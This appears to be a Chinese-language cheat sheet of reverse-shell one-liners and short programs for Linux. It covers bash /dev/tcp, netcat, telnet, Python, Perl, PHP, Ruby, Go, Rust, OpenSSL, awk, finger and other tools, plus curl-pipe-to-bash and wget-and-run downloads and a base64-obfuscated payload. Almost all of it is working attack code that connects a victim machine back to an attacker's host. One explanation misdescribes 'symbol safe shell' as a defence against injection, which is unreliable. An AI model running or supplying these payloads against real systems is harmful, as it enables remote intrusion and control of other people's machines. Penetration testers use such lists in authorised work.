Linux Shell

下载脚本

curl https://reverse-shell.sh/192.168.8.1:3000 | bash

从reverse-shell.sh这个网站下载一个反向shell的脚本,并把它传给bash执行。这个脚本会根据目标系统上可用的软件来选择合适的反向shell。

内置网络套接字-TCP协议

bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1

使用bash内置的网络套接字功能来连接到攻击者的IP和端口,并把标准输入、输出和错误都重定向到这个连接,然后启动一个交互式的bash。

内置网络套接字-UDP协议

bash -i >& /dev/udp/<ATTACKER-IP>/4242 0>&1

文件描述符-196

0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196

使用文件描述符196来打开一个TCP连接,并把标准输入关闭,然后用exec替换当前进程为一个sh,并把标准输入、输出和错误都重定向到文件描述符196。

文件描述符-5

exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

使用文件描述符5来打开一个TCP连接,并用exec替换当前进程为一个循环,这个循环会从文件描述符5读取命令并执行它们,并把标准输出和错误都重定向到文件描述符5。

SH

(sh)0>/dev/tcp/192.168.8.1/9091
exec >&0

使用sh来打开一个TCP连接,并把标准输出重定向到这个连接,然后把标准输出重定向到标准输入,用于获取前一个反向shell的输出。这样就可以在远程服务器上看到输入的命令和它们的结果。

Symbol safe shell

Symbol safe shell是一种用于防止shell注入攻击的技术,它可以让你在不使用引号或转义字符的情况下,安全地传递包含特殊符号的字符串给shell。

bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

也可以通过Base64方法使其变得更加隐蔽:

echo "bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMS80NDQ0IDA+JjEnCg==" | base64 -d | bash 2>/dev/null

文件中创建并执行

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Netcat

1.

使用nc工具来连接到攻击者的IP和端口,并把标准输入、输出和错误都重定向到这个连接,然后用-e选项执行一个sh

nc -e /bin/sh <ATTACKER-IP> <PORT>

2.

使用nc工具来连接到攻击者的IP和端口,并把标准输入重定向到这个连接,然后用管道符(|)把标准输出传给一个sh。这个命令是盲反弹shell,因为攻击者无法看到目标服务器的输出

nc <ATTACKER-IP> <PORT> | /bin/sh

3.

先删除/tmp/f文件(如果存在),然后创建一个名为/tmp/f的管道文件(FIFO),然后用cat命令从管道文件中读取数据并传给一个交互式的sh,并把标准错误重定向到标准输出,然后再用管道符把标准输出传给nc工具,并把nc工具的输出重定向到管道文件中。这样就形成了一个双向的反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f

4.

使用两个nc工具来分别连接到攻击者的两个端口,并用管道符把它们和一个bash连接起来。这样就可以实现一个全双工的反弹shell,即攻击者可以同时发送和接收数据

nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>

5.

先删除/tmp/bkpipe文件(如果存在),然后创建一个名为/tmp/bkpipe的管道文件(FIFO),然后用mknod命令指定它为p类型(管道),然后用/bin/sh打开一个shell,并把标准输入从管道文件中读取,并把标准输出传给nc工具,并把nc工具的输出重定向到管道文件中。这样就形成了一个双向的反弹shell

rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

全局套接字

该方法需要依赖 Gsocket 工具 ,它可以让你在任何防火墙或NAT后面的服务器上执行命令,就像你在本地终端一样。

安装:

bash -c "$(curl -fsSL https://gsocket.io/x)"

连接:

gs-netcat -s "TOKEN" -i

Telnet

1.

使用telnet工具来连接到攻击者的IP和端口,并把标准输入重定向到这个连接,然后用管道符(|)把标准输出传给一个sh。这个命令是盲反弹shell,因为攻击者无法看到目标服务器的输出

telnet <ATTACKER-IP> <PORT> | /bin/sh

2.

先删除/tmp/f文件(如果存在),然后创建一个名为/tmp/f的管道文件(FIFO),然后用cat命令从管道文件中读取数据并传给一个交互式的sh,并把标准错误重定向到标准输出,然后再用管道符把标准输出传给telnet工具,并把telnet工具的输出重定向到管道文件中。这样就形成了一个双向的反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f

3.

使用两个telnet工具来分别连接到攻击者的两个端口,并用管道符把它们和一个bash连接起来。这样就可以实现一个全双工的反弹shell,即攻击者可以同时发送和接收数据

telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>

4.

先删除/tmp/bkpipe文件(如果存在),然后创建一个名为/tmp/bkpipe的管道文件(FIFO),然后用mknod命令指定它为p类型(管道),然后用/bin/sh打开一个shell,并把标准输入从管道文件中读取,并把标准输出传给telnet工具,并把telnet工具的输出重定向到管道文件中。这样就形成了一个双向的反弹shell

rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Whois

攻击者主机运行以下命令监听端口:

while true; do nc -l <port>; done

输入发送的命令,然后按回车键并按CTRL + D即可

受害者运行以下whois命令来连接攻击者主机并执行运行的命令:

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

Python

1.
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
2.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

IPV6:

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' 

Perl

1.
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2.
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

1.
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
2.
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

1.

使用fsockopen函数来连接到10.0.0.1的1234端口,并把返回的套接字资源赋值给变量$sock。然后,它会使用exec函数来执行一个交互式的sh,并把文件描述符3(即套接字资源)重定向到标准输入、输出和错误

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

2.

使用fsockopen函数来连接到10.0.0.1的1234端口,并把返回的套接字资源赋值给变量$sock。然后,它会使用proc_open函数来打开一个交互式的sh,并把数组中的套接字资源分别作为标准输入、输出和错误传递给它,并把管道资源赋值给变量$pipes

<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

3.

使用exec函数来执行一个bash命令,该命令会启动一个交互式的bash,并把标准输出重定向到/dev/tcp/10.10.14.8/4444这个特殊文件,该文件会建立一个TCP连接到10.10.14.8的4444端口,并把标准输入重定向到标准输出

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>

4.

小集

php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Groovy

# 也适用于Java反向Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Rust

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let s = TcpStream::connect("10.0.0.1:4242").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}

Dart

import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("10.0.0.1", 4242).then((socket) {
    socket.listen((data) {
      Process.start('powershell.exe', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
    onDone: () {
      socket.destroy();
    });
  });
}

OpenSSL

攻击者主机:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

受害者主机:

openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

AWK

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Finger

攻击者主机:

while true; do nc -l 79; done

输入命令后,按回车键并按CTRL + D即可

受害者主机:

1.
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

2.
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

Gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}
gawk 'BEGIN {P=4444;S="> ";H="192.168.1.100";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'

Xterm

在服务器上运行以下命令:

xterm -display 10.0.0.1:1

捕获传入的 xterm:

Xnest :1

授权目标连接:

xhost +targetip

Node.js

require('child_process').exec('bash -i >& /dev/tcp/10.0.0.1/80 0>&1');

在线链接